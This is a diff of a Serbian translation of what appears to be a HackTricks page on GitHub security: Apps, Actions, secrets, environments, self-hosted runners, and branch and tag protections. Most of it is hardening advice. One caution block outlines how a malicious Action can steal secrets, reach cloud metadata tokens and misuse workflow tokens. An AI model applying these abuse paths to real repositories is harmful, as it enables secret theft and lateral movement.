+- Možete videti sve **Github applications that has access to your account** u [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
+- Ovo su **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). U zavisnosti od permissions App će moći da pristupi nekima od njih
+- Možete videti instalirane apps u jednoj **organization** na _https://github.com/organizations/\/settings/installations_
Neke preporuke za bezbednost:
-- GitHub aplikacija treba da **preduzima radnje nezavisno od korisnika** (osim ako aplikacija koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste zadržali korisničke pristupne tokene sigurnijim, možete koristiti pristupne tokene koji će isteći nakon 8 sati, i osvežavajući token koji se može zameniti za novi pristupni token. Za više informacija, pogledajte "[Osvežavanje korisničkih pristupnih tokena](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Uverite se da se GitHub aplikacija integriše sa **specifičnim repozitorijumima**.
-- GitHub aplikacija treba da **poveže sa ličnim nalogom ili organizacijom**.
-- Ne očekujte da GitHub aplikacija zna i radi sve što korisnik može.
-- **Nemojte koristiti GitHub aplikaciju ako vam je potrebna samo usluga "Prijava sa GitHub-om"**. Ali GitHub aplikacija može koristiti [tokene za identifikaciju korisnika](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da prijavi korisnike _i_ obavi druge stvari.
-- Ne pravite GitHub aplikaciju ako _samo_ želite da delujete kao GitHub korisnik i radite sve što taj korisnik može.
-- Ako koristite svoju aplikaciju sa GitHub Actions i želite da modifikujete datoteke radnog toka, morate se autentifikovati u ime korisnika sa Oauth tokenom koji uključuje `workflow` opseg. Korisnik mora imati administratorske ili pisane dozvole za repozitorijum koji sadrži datoteku radnog toka. Za više informacija, pogledajte "[Razumevanje opsega za Oauth aplikacije](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Više** ovde [more](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- GitHub App bi trebalo da **take actions independent of a user** (osim ako app ne koristi [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Da biste učinili user-to-server access tokens sigurnijim, možete koristiti access tokens koji ističu nakon 8 sati, i refresh token koji se može zameniti za novi access token. Za više informacija, pogledajte "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Uverite se da se GitHub App integriše sa **specific repositories**.
+- GitHub App treba da **connect to a personal account or an organisation**.
+- Ne očekujte da GitHub App zna i radi sve što korisnik može.
+- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Ali GitHub App može koristiti [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) da loguje korisnike _and_ radi druge stvari.
+- Ne pravite GitHub App ako želite _only_ da delujete kao GitHub user i radite sve što taj user može.
+- Ako koristite vašu app sa GitHub Actions i želite da modifikujete workflow fajlove, morate se autentifikovati u ime korisnika sa OAuth token-om koji uključuje `workflow` scope. Korisnik mora imati admin ili write permission na repository koji sadrži workflow fajl. Za više informacija, pogledajte "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **More** u [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
-Ovo **nije način za autentifikaciju u github-u**, ali **maliciozna** Github akcija bi mogla dobiti **neovlašćen pristup github-u** i **u zavisnosti** od **privilegija** datih akciji, moglo bi se izvršiti nekoliko **različitih napada**. Pogledajte u nastavku za više informacija.
+Ovo **nije način za autentifikaciju u github**, ali jedna **malicious** Github Action može dobiti **unauthorised access to github** i **u zavisnosti** od **privileges** dodeljenih Action mogu biti izvedeni različiti **attacks**. Vidi dole za više informacija.
-## Git akcije
+## Git Actions
-Git akcije omogućavaju automatizaciju **izvršavanja koda kada se dogodi događaj**. Obično je izvršeni kod **neka vrsta povezanosti sa kodom repozitorijuma** (možda izgraditi docker kontejner ili proveriti da PR ne sadrži tajne).
+Git actions omogućavaju automatizaciju **execution of code when an event happen**. Obično se izvršava kod koji je **nekačim načinom vezan za kod repository** (možda build-a docker container ili proverava da li PR ne sadrži secrets).
-### Konfiguracija
+### Configuration
-Na _https://github.com/organizations/\/settings/actions_ moguće je proveriti **konfiguraciju github akcija** za organizaciju.
+U _https://github.com/organizations/\/settings/actions_ moguće je proveriti **configuration of the github actions** za organization.
-Moguće je potpuno zabraniti korišćenje github akcija, **dozvoliti sve github akcije**, ili samo dozvoliti određene akcije.
+Moguće je zabraniti korišćenje github actions potpuno, **allow all github actions**, ili dozvoliti samo određene actions.
-Takođe je moguće konfigurisati **ko treba da dobije odobrenje za pokretanje Github akcije** i **dozvole GITHUB_TOKEN** Github akcije kada se pokrene.
+Takođe je moguće konfigurisati **who needs approval to run a Github Action** i **permissions of the GITHUB_TOKEN** koje Github Action ima kada se izvrši.
-### Git tajne
+### Git Secrets
-Github akcije obično trebaju neku vrstu tajni da bi interagovale sa github-om ili aplikacijama trećih strana. Da bi se **izbeglo stavljanje u čistom tekstu** u repozitorijum, github omogućava da se one postave kao **Tajne**.
+Github Action obično treba neku vrstu secrets da bi komunicirao sa github ili third party aplikacijama. Da biste **izbegli stavljanje u clear-text** u repo, github omogućava da ih stavite kao **Secrets**.
-Ove tajne mogu biti konfigurirane **za repozitorijum ili za celu organizaciju**. Zatim, da bi **Akcija mogla da pristupi tajni**, potrebno je da je deklarisete kao:
+Ovi secrets se mogu konfigurisati **za repo or for all the organization**. Zatim, da bi **Action mogao da pristupi secret-u** potrebno je da ga deklarišete kao:
```yaml
steps:
- name: Hello world action
@@ -168,75 +168,91 @@ run: |
example-command "$SUPER_SECRET"
```
> [!WARNING]
-> Tajne informacije **mogu se pristupiti samo iz Github Actions** koje ih imaju deklarisane.
+> Secrets **mogu biti pristupljeni samo iz Github Actions** koje su ih deklarisale.
-> Kada su konfigurisane u repozitorijumu ili organizacijama, **korisnici Githuba više neće moći da im pristupe**, samo će moći da **promene**.
+> Kada su konfigurisane u repo-u ili u okviru organizacije, **korisnici github-a više neće moći da im pristupe**, moći će samo da ih **promene**.
-Dakle, **jedini način da se ukradu github tajne je da se pristupi mašini koja izvršava Github Action** (u toj situaciji ćete moći da pristupite samo tajnama deklarisanim za Action).
+Dakle, **jedini način da ukradete github secrets je da imate pristup mašini koja izvršava Github Action** (u tom scenariju moći ćete da pristupite samo secrets deklarisanim za tu Action).
-### Git Okruženja
+### Git Environments
-Github omogućava kreiranje **okruženja** gde možete sačuvati **tajne**. Zatim, možete dati github akciji pristup tajnama unutar okruženja sa nečim poput:
+Github omogućava kreiranje **environments** gde možete sačuvati **secrets**. Zatim, možete dati github action pristup secrets unutar environment-a sa nečim poput:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-Možete konfigurisati okruženje da bude **pristupačno** **svim granama** (podrazumevano), **samo za zaštićene** grane ili **odrediti** koje grane mogu da mu pristupe.\
-Takođe može postaviti **broj potrebnih recenzija** pre **izvršavanja** **akcije** koristeći **okruženje** ili **čekati** neko **vreme** pre nego što dozvoli da se implementacije nastave.
+Možete konfigurirati okruženje da bude **accessed** by **all branches** (default), **only protected** branches ili **specify** which branches mogu da mu pristupe.\
+Dodatno, zaštite okruženja uključuju:
+- **Required reviewers**: zadržava gate jobs koji ciljaju okruženje dok se ne odobri. Omogućite **Prevent self-review** da biste primenili princip četiri oka i na samo odobrenje.
+- **Deployment branches and tags**: ograničava koje grane/tagovi mogu deploy-ovati u okruženje. Preporučljivo je izabrati specifične grane/tagove i osigurati da su te grane zaštićene. Napomena: opcija "Protected branches only" se odnosi na klasične branch protections i možda se neće ponašati očekivano ako koristite rulesets.
+- **Wait timer**: odlaže deploy-e za konfigurisani period.
+
+Takođe se može podesiti **number of required reviews** pre nego što se **execute** **an action** koristeći **environment**, ili **wait** neko **time** pre nego što se dozvole deploy-evi da nastave.
### Git Action Runner
-Github akcija može biti **izvršena unutar github okruženja** ili može biti izvršena u **infrastrukturi treće strane** koju je konfigurisao korisnik.
+A Github Action može biti **executed inside the github environment** ili može biti izvršen u **third party infrastructure** koju konfiguriše korisnik.
-Nekoliko organizacija će dozvoliti pokretanje Github akcija u **infrastrukturi treće strane** jer obično bude **jeftinije**.
+Neke organizacije dozvoljavaju pokretanje Github Actions u **third party infrastructure** jer je to često **cheaper**.
-Možete **navesti self-hosted trkače** organizacije na _https://github.com/organizations/\/settings/actions/runners_
+Možete **list the self-hosted runners** organizacije na _https://github.com/organizations/\/settings/actions/runners_
-Način da saznate koje **Github akcije se izvršavaju u ne-github infrastrukturi** je da potražite `runs-on: self-hosted` u yaml konfiguraciji Github akcije.
+Način da se pronađe koje se **Github Actions are being executed in non-github infrastructure** je da pretražite za `runs-on: self-hosted` u Github Action konfiguracionom yaml-u.
-**Nije moguće pokrenuti Github akciju organizacije unutar self-hosted okruženja** druge organizacije jer se **generiše jedinstveni token za trkača** prilikom njegove konfiguracije kako bi se znalo kojoj organizaciji trkač pripada.
+Nije moguće da se Github Action organizacije izvršava unutar self hosted mašine druge organizacije zato što se pri konfiguraciji Runner-a **a unique token is generated for the Runner** koji određuje kojoj organizaciji runner pripada.
-Ako je prilagođeni **Github trkač konfiguran na mašini unutar AWS-a ili GCP-a**, akcija **može imati pristup metapodacima** i **ukrasti token servisnog naloga** sa kojim mašina radi.
+Ako je custom **Github Runner configured in a machine inside AWS or GCP**, na primer, Action **could have access to the metadata endpoint** i **steal the token of the service account** sa kojim mašina radi.
### Git Action Compromise
-Ako su sve akcije (ili zla akcija) dozvoljene, korisnik bi mogao koristiti **Github akciju** koja je **zla** i koja će **kompromitovati** **kontejner** u kojem se izvršava.
+Ako su sve akcije (ili jedna maliciozna akcija) dozvoljene, korisnik bi mogao upotrebiti **Github action** koja je **malicious** i kompromitovati **container** u kojem se izvršava.
> [!CAUTION]
-> **Zla Github akcija** može biti **zloupotrebljena** od strane napadača da:
+> A **malicious Github Action** run može biti **abused** od strane napadača da:
>
-> - **Ukrade sve tajne** kojima akcija ima pristup
-> - **Pomera se lateralno** ako se akcija izvršava unutar **infrastrukture treće strane** gde se može pristupiti SA tokenu koji se koristi za pokretanje mašine (verovatno putem usluge metapodataka)
-> - **Zloupotrebi token** koji koristi **workflow** da **ukrade kod repozitorijuma** gde se akcija izvršava ili **čak da ga izmeni**.
+> - **Steal all the secrets** kojima Action ima pristup
+> - **Move laterally** ako se Action izvršava unutar **third party infrastructure** gde se SA token koji se koristi za pokretanje mašine može dohvatiti (verovatno preko metadata service)
+> - **Abuse the token** koji koristi **workflow** da **steal the code of the repo** u kojem se Action izvršava ili čak **modify it**.
## Branch Protections
-Zaštite grana su dizajnirane da **ne daju potpunu kontrolu nad repozitorijumom** korisnicima. Cilj je **postaviti nekoliko metoda zaštite pre nego što se može pisati kod unutar neke grane**.
+Branch protections su dizajnirane da **not give complete control of a repository** korisnicima. Cilj je da se **put several protection methods before being able to write code inside some branch**.
-**Zaštite grana repozitorijuma** mogu se pronaći na _https://github.com/\/\/settings/branches_
+The **branch protections of a repository** možete pronaći na _https://github.com/\/\/settings/branches_
> [!NOTE]
-> **Nije moguće postaviti zaštitu grane na nivou organizacije**. Tako da sve one moraju biti deklarisane na svakom repozitorijumu.
+> Nije **possible to set a branch protection at organization level**. Dakle, sve zaštite moraju biti deklarisane u svakom repo-u.
-Različite zaštite mogu se primeniti na granu (kao na master):
+Razne zaštite se mogu primeniti na granu (npr. master):
-- Možete **zahtevati PR pre spajanja** (tako da ne možete direktno spojiti kod preko grane). Ako je ovo odabrano, različite druge zaštite mogu biti na snazi:
-- **Zahtevati broj odobrenja**. Veoma je uobičajeno zahtevati 1 ili 2 osobe da odobre vaš PR tako da jedan korisnik ne može direktno spojiti kod.
-- **Odbaciti odobrenja kada su novi commitovi poslati**. Ako ne, korisnik može odobriti legitiman kod, a zatim dodati zli kod i spojiti ga.
-- **Zahtevati recenzije od vlasnika koda**. Najmanje 1 vlasnik koda repozitorijuma treba da odobri PR (tako da "slučajni" korisnici ne mogu da ga odobre)
-- **Ograničiti ko može da odbaci recenzije pull zahteva.** Možete odrediti ljude ili timove koji mogu da odbace recenzije pull zahteva.
-- **Dozvoliti određenim akterima da zaobiđu zahteve pull zahteva**. Ovi korisnici će moći da zaobiđu prethodne restrikcije.
-- **Zahtevati da status provere prođe pre spajanja.** Neke provere moraju proći pre nego što se može spojiti commit (kao što je github akcija koja proverava da li nema tajnih podataka u čistom tekstu).
-- **Zahtevati rešenje razgovora pre spajanja**. Svi komentari na kod moraju biti rešeni pre nego što se PR može spojiti.
-- **Zahtevati potpisane commitove**. Commitovi moraju biti potpisani.
-- **Zahtevati linearnu istoriju.** Sprečava spajanje commitova da budu poslati na odgovarajuće grane.
-- **Uključiti administratore**. Ako ovo nije postavljeno, administratori mogu zaobići restrikcije.
-- **Ograničiti ko može da šalje na odgovarajuće grane**. Ograničiti ko može da pošalje PR.
+- Možete **require a PR before merging** (tako da ne možete direktno merge-ovati kod u granu). Ako je ovo izabrano, mogu biti prisutne i druge zaštite:
+- **Require a number of approvals**. Veoma je često zahtevati 1 ili 2 osobe da odobre PR kako bi se sprečilo da jedna osoba direktno merge-uje kod.
+- **Dismiss approvals when new commits are pushed**. Ako nije omogućeno, korisnik može odobriti legitiman kod, a zatim dodati maliciozan kod i merge-ovati ga.
+- **Require approval of the most recent reviewable push**. Osigurava da svaki novi commit posle odobrenja (uključujući push-ove drugih saradnika) ponovo pokreće review tako da napadač ne može push-ovati izmene posle odobrenja i merge-ovati.
+- **Require reviews from Code Owners**. Najmanje 1 code owner repoa mora odobriti PR (tako da "random" korisnici ne mogu odobriti).
+- **Restrict who can dismiss pull request reviews.** Možete specificirati osobe ili timove koji su dozvoljeni da dismiss-uju pull request reviews.
+- **Allow specified actors to bypass pull request requirements**. Ovi korisnici će moći da zaobiđu prethodna ograničenja.
+- **Require status checks to pass before merging.** Neki check-ovi moraju proći pre nego što se može merge-ovati commit (npr. GitHub App koji izveštava SAST rezultate). Savet: vezujte required checks za specifičan GitHub App; u suprotnom bilo koji app može spoof-ovati check preko Checks API, a mnogi botovi prihvataju skip direktive (npr. "@bot-name skip").
+- **Require conversation resolution before merging**. Svi komentari na kod moraju biti rešeni pre nego što se PR može merge-ovati.
+- **Require signed commits**. Commits moraju biti potpisani.
+- **Require linear history.** Sprečava push-ovanje merge commit-ova na grane koje se poklapaju.
+- **Include administrators**. Ako ovo nije postavljeno, administratori mogu zaobići ograničenja.
+- **Restrict who can push to matching branches**. Ograničava ko može poslati PR.
> [!NOTE]
-> Kao što vidite, čak i ako uspete da dobijete neka akreditivna sredstva korisnika, **repozitorijumi mogu biti zaštićeni sprečavajući vas da šaljete kod na master** na primer da kompromitujete CI/CD pipeline.
+> Kao što vidite, čak i ako uspete da dobijete kredencijale nekog korisnika, **repos might be protected avoiding you to pushing code to master** na primer, da biste kompromitovali CI/CD pipeline.
+
+## Tag Protections
+
+Tagovi (npr. latest, stable) su po defaultu mutable. Da biste primenili tok rada sa četiri oka na update tagova, zaštitite tagove i povežite zaštite kroz enviroments i grane:
+
+1) Na pravilu za zaštitu tagova, omogućite **Require deployments to succeed** i zahtevajte uspešan deploy u zaštićeno okruženje (npr. prod).
+2) U ciljanom okruženju, ograničite **Deployment branches and tags** na release branch (npr. main) i opciono konfigurišite **Required reviewers** sa **Prevent self-review**.
+3) Na release grani, konfigurišite branch protections da **Require a pull request**, postavite approvals ≥ 1, i omogućite i **Dismiss approvals when new commits are pushed** i **Require approval of the most recent reviewable push**.
+
+Ovaj lanac sprečava jednog saradnika da ponovo tag-uje ili force-publish-uje releasove menjajući workflow YAML, jer su deployment gate-ovi sprovedeni van workflow-a.
## References
@@ -245,5 +261,10 @@ Različite zaštite mogu se primeniti na granu (kao na master):
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
{{#include ../../banners/hacktricks-training.md}}